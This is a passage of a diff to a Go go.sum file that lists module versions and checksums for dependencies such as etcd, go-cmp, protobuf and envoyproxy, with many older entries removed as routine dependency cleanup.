v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= -github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= -github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= -github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= -github.com/cpuguy83/go-md2man v1.0.10 h1:BSKMNlYxDvnunlTymqtgONjNnaRV1sTpcovwwjF22jk= -github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= -github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dgraph-io/badger/v2 v2.2007.4/go.mod h1:vSw/ax2qojzbN6eXHIx6KPKtCSHJN/Uz0X0VPruTIhk= github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= github.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po= github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= -github.com/dgraph-io/ristretto v0.0.3-0.20200630154024-f66de99634de h1:t0UHb5vdojIDUqktM6+xJAfScFBsVpXZmqC9dsgJmeA= -github.com/dgraph-io/ristretto v0.0.3-0.20200630154024-f66de99634de/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= -github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/djherbis/atime v1.1.0/go.mod h1:28OF6Y8s3NQWwacXc5eZTsEsiMzp7LF8MbXE+XJPdBE= -github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= -github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= -github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= -github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= -github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= -github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= -github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= -github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= -github.com/envoyproxy/go-control-plane v0.11.1-0.20230524094728-9239064ad72f/go.mod h1:sfYdkwUW4BA3PbKjySwjJy+O4Pu0h62rlqCMHNk+K+Q= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= -github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= -github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= -github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= -github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= -github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= -github.com/flosch/pongo2/v4 v4.0.2/go.mod h1:B5ObFANs/36VwxxlgKpdchIJHMvHB562PW+BWPhwZD8= -github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= -github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= -github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= -github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= -github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= -github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= -github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= -github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= -github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= -github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-logr/logr v1.2.3/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= -github.com/go-logr/logr v1.2.4/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= -github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= -github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= -github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= -github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= -github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= -github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= -github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= -github.com/go-playground/validator/v10 v10.14.1/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= -github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= -github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= -github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= -github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= -github.com/gobwas/ws v1.3.0/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY= -github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -997,9 +152,6 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -1015,16 +167,11 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/gomarkdown/markdown v0.0.0-20230716120725-531d2d74bc12/go.mod h1:JDGcbDT52eL4fju3sZ4TeHGsQwhG9nbDV21aMyhwPoA= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -1032,22 +179,12 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= -github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -1055,51 +192,17 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/s2a-go v0.1.0/go.mod h1:OJpEgntRZo8ugHpF9hkoLJbS5dSI20XZeXJ9JVywLlM= -github.com/google/s2a-go v0.1.3/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= -github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid 